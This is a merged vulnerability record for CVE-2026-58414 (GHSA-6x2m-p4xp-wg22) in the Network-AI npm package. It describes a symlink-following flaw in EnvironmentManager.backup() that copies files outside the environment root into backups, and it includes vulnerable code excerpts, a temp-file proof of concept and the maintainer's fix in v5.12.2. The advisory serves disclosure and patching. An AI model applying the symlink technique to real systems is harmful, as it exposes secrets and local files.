{"id":"CVE-2026-58414","aliases":["CVE-2026-58414","GHSA-6x2m-p4xp-wg22"],"related":[],"kind":"vulnerability","state":"published","title":"Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups","summary":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/<env>` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/<env>/.backups/<backupId>/`. An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. The issue is fixed in v5.12.2. `_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/<env>` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/<env>/.backups/<backupId>/`. An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. The issue is fixed in v5.12.2. `_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact.","source":"cvelist"},{"lang":"en","text":"### Summary\n`EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/<env>` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/<env>/.backups/<backupId>/`.\n\nAn attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.\n\n### Details\n`backup()` collects file paths and copies them into the backup directory:\n\n```ts\nconst files = this._collectBackupFiles(envDir);\nfor (const rel of files) {\n  const src = join(envDir, rel);\n  const dst = join(backupPath, rel);\n  mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });\n  try { copyFileSync(src, dst); } catch { /* skip unreadable */ }\n}\n```\n\n`_collectBackupFiles()` follows symlinked directories because it calls `statSync()`, not `lstatSync()`:\n\n```ts\nconst info = statSync(full);\nif (info.isDirectory()) {\n  walk(full, rel);\n} else {\n  results.push(rel);\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup create --env <env>`. `backup()` also runs automatically before promotion and restore operations.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:435-460` — backup copy logic.\n- `lib/env-manager.ts:596-617` — symlink-following `_collectBackupFiles()`.\n- `bin/cli.ts:413-420` — default CLI exposes backup creation.\n- `lib/env-manager.ts:294-297` and `483-484` — backup also runs before promote/restore.\n\n### PoC\nThis PoC uses only temporary files. It creates a symlink inside `data/dev` pointing to an external directory, then runs `backup('dev')` and observes that the external file is copied into the backup:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - <<'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\nconst data = path.join(base, 'data');\nconst outside = path.join(base, 'outside');\n\nfs.mkdirSync(outside, { recursive: true });\nfs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink');\n\nconst mgr = new EnvironmentManager(data, {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nfs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir');\n\nconst result = mgr.backup('dev');\nconst copied = path.join(result.path, 'linked-outside', 'secret.txt');\n\nconsole.log(JSON.stringify({\n  copied: fs.existsSync(copied),\n  content: fs.readFileSync(copied, 'utf8'),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `copied` is `true` and `content` is `secret-through-symlink`.\n\n### Impact\nAn attacker who can place a symlink in `data/<env>` can cause backup creation to copy arbitrary readable files from outside the environment root into `data/<env>/.backups/<backupId>/`. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Network-AI es un orquestador multiagente de TypeScript/Node.js. Antes de la versión 5.12.2, “EnvironmentManager.backup()” recopila archivos recursivamente usando “_collectBackupFiles()”. “_collectBackupFiles()” usa “statSync(full)”, que sigue enlaces simbólicos. Si “data/[env]” contiene un enlace simbólico a un directorio fuera de la raíz del entorno, la recursión de la copia de seguridad sigue el enlace simbólico y copia archivos externos en “data/[env]/.backups/[backupId]/”. Un atacante que puede colocar un enlace simbólico bajo el directorio de datos del entorno puede hacer que las operaciones de copia de seguridad divulguen archivos fuera de la raíz del entorno en los artefactos de copia de seguridad. El problema está solucionado en la v5.12.2. “_collectBackupFiles()” ahora usa “lstatSync” en lugar de “statSync” y omite cualquier entrada donde “isSymbolicLink()” sea verdadero. Los enlaces simbólicos nunca se atraviesan, por lo que “backup()” ya no puede seguir un enlace fuera de la raíz del entorno y copiar archivos externos en un artefacto de copia de seguridad.","source":"nvd"}],"published":"2026-06-19T21:42:36.000Z","modified":"2026-10-24T20:10:00.137Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":5.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":5.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":5.5,"rating":"MEDIUM"}],"cwes":["CWE-22","CWE-59"],"affected":[{"ranges":[{"version":"< 5.12.2","status":"affected"}],"vendor":"Jovancoding","product":"Network-AI","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"5.12.2"}],"ecosystem":"npm","package":"network-ai","purl":"pkg:npm/network-ai","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"5.12.2"}],"vendor":"network-ai","product":"network-ai","cpe":"cpe:2.3:a:network-ai:network-ai:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-6x2m-p4xp-wg22","tags":["exploit","patch","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2","tags":["patch","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/Jovancoding/Network-AI","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-07-20T18:59:59.897Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-58414","url":"https://www.cve.org/CVERecord?id=CVE-2026-58414","licence":"CVE Terms of Use","modified":"2026-07-20T19:00:05.188Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-6x2m-p4xp-wg22","url":"https://github.com/advisories/GHSA-6x2m-p4xp-wg22","licence":"CC-BY-4.0","modified":"2026-07-21T03:56:45.909Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-58414","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58414","licence":"Public domain","modified":"2026-10-24T20:10:00.137Z"}],"updatedAt":"2026-11-25T22:59:29.256Z","epss":{"score":0.00203,"percentile":0.10804,"date":"2026-12-01T12:00:22.000Z"}}